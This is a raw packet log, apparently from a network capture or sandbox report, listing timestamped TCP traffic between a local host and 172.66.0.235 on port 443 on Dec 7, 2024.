                                                                                                                                                                  Dec 7, 2024 15:43:17.095514059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.095591068 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.095597029 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.095639944 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.097292900 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.097362041 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.099406958 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.099468946 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.105109930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.105137110 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.105199099 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.105206966 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.105236053 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.105257988 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.108879089 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.108953953 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.108959913 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.115165949 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.115186930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.115223885 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.115228891 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.115258932 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.121978045 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.122000933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.122042894 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.122050047 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.122076035 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.124859095 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.124927998 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.124933958 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.178097010 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.272227049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.272249937 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.272336960 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.272346020 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.272412062 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.275180101 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.275242090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.275247097 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.281765938 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.281780005 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.281817913 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.281824112 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.281861067 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.288573980 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.288588047 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.288650036 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.288656950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.291415930 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.291479111 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.291486979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.298516989 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.298536062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.298614025 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.298618078 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.304390907 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.304404974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.304465055 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.304471970 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.311145067 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.311167002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.311227083 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.311233044 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.311259031 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.316956997 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.316971064 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.317171097 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.317178011 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.321988106 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.322024107 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.322062016 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.322067976 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.322089911 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.322113037 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.476494074 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.476511002 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.476615906 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.476629972 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.476674080 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.483232021 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.483247042 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.483308077 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.483316898 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.483355045 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.489175081 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.489190102 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.489250898 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.489259005 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.489296913 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.490926027 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.490976095 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.495812893 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.495852947 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.495882988 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.495887995 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.495899916 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.495919943 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.502121925 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.502136946 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.502197981 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.502204895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.502244949 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.508883953 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.508899927 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.508979082 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.508985996 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.509026051 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.515507936 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.515522957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.515583038 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.515588999 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.515630007 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.516500950 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.516556025 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.663932085 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.663954020 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.664088011 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.664098024 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.664139032 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.670370102 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.670387983 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.670444965 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.670450926 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.670488119 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.677093029 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.677109957 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.677170992 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.677175999 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.677217960 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.683701992 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.683718920 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.683780909 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.683787107 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.683825970 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.687870979 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.687906981 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.687936068 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.687938929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.687964916 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.694859028 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.694875956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.694930077 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.694936037 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.700722933 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.700741053 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.700798988 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.700808048 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.707398891 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.707413912 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.707480907 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.707488060 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.709240913 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.709290981 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.709295034 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.709345102 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.856331110 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.856350899 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.856595039 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.856610060 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.856656075 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.858077049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.858138084 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.863960981 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.863977909 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.864041090 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.864048958 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.870682955 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.870703936 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.870758057 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.870765924 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.870790958 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.875554085 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.875587940 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.875618935 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.875624895 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.875648975 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.875669003 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.882091045 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.882106066 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.882167101 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.882173061 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.882220030 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.888564110 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.888581991 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.888643980 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.888653040 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.888695955 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.895093918 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.895109892 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.895168066 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.895174026 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.895217896 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.900928974 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.900943041 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.901007891 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:17.901014090 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:17.901053905 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.049025059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.049042940 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.049243927 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.049254894 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.049308062 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.054900885 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.054918051 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.055033922 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.055039883 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.055083990 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.061526060 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.061542034 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.061600924 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.061608076 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.061645985 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.068242073 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.068258047 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.068316936 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.068321943 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.068361044 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.074094057 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.074107885 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.074179888 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.074186087 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.074233055 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.081155062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.081170082 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.081228971 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.081233025 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.081280947 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.087066889 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.087080956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.087152958 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.087157965 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.087198019 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.093723059 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.093738079 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.093801022 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.093806982 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.093846083 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.240478039 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.240562916 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.240631104 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.240645885 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.240672112 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.245807886 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.245824099 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.245903969 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.245909929 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.252572060 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.252589941 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.252650023 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.252655983 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.252691031 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.258644104 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.258661985 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.258723974 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.258730888 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.258763075 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.260266066 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.260315895 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.260322094 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.260356903 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.267050028 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.267066956 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.267153025 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.267158985 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.267204046 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.273403883 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.273421049 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.273493052 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.273498058 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.273542881 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.279988050 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.280004978 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.280080080 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.280086040 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.280127048 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.285900116 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.285917044 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.285995007 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.286000013 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.286041975 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.433080912 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.433099985 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.433218002 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.433227062 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.433270931 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.439785004 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.439821005 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.439898014 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.439903975 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.439945936 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.446446896 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.446463108 CET44349730172.66.0.235192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:18.446562052 CET49730443192.168.2.4172.66.0.235
                                                                                                                                                                  Dec 7, 2024 15:43:18.446568012 CET44349730172.66.0.235192.168.2.4
